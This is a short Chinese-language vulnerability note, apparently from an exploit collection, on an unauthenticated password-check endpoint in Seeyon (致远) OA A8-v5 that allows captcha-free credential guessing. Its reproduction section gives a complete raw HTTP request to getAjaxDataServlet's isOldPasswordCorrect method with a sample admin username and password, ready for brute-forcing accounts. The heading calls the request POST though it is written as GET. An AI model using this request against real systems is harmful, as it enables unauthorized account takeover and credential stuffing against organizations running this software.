013-致远OA A8-v5 无视验证码撞库.md

935 B / 2021-07-17 00:01:26
    # 致远OA A8-v5 无视验证码撞库

### 一、漏洞简介

致远A8-V5在设计时存在逻辑错误，用户修改密码时对原密码进行了验证，但是验证使用的服务存在未授权访问漏洞，系统对非合法请求的原密码验证功能进行回应，导致了无视验证码，无需login页面进行密码尝试

### 二、漏洞影响

致远OA A8-v5

### 三、复现过程

POST穷举用户和密码代码如下


```bash
GET /seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P_1_String=admin&P_2_String=wy123456 HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Referer: http://url/seeyon/individualManager.do?method=managerFrame
requesttype: AJAX
Content-Type: application/x-www-form-urlencoded
Cookie: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 127.0.0.1
DNT: 1
Proxy-Connection: Keep-Alive
```

![](images/15897244436226.png)